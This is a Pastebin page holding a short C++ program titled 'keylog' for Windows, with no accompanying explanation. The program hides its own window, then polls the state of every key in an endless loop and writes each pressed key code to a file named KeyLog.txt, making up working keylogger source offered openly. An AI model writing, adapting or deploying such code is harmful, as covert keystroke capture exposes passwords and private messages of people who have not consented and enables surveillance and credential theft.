Advertisement
Koelion

keylog

Oct 6th, 2015
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.35 KB | None | 0 0
  1. #include <Windows.h>
  2. #include <fstream>
  3. int main()
  4. {
  5.     ShowWindow(GetForegroundWindow(), SW_HIDE);
  6.     std::fstream file;
  7.     file.open("KeyLog.txt", std::fstream::out);
  8.     if (file.is_open())
  9.     {
  10.         while (true)
  11.         {
  12.             for (int i = 0; i < 255; i++)
  13.             {
  14.                 if (GetAsyncKeyState(i))
  15.                     file << i << ' ';
  16.             }
  17.             Sleep(10);
  18.         };
  19.     }
  20.     file.close();
  21. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement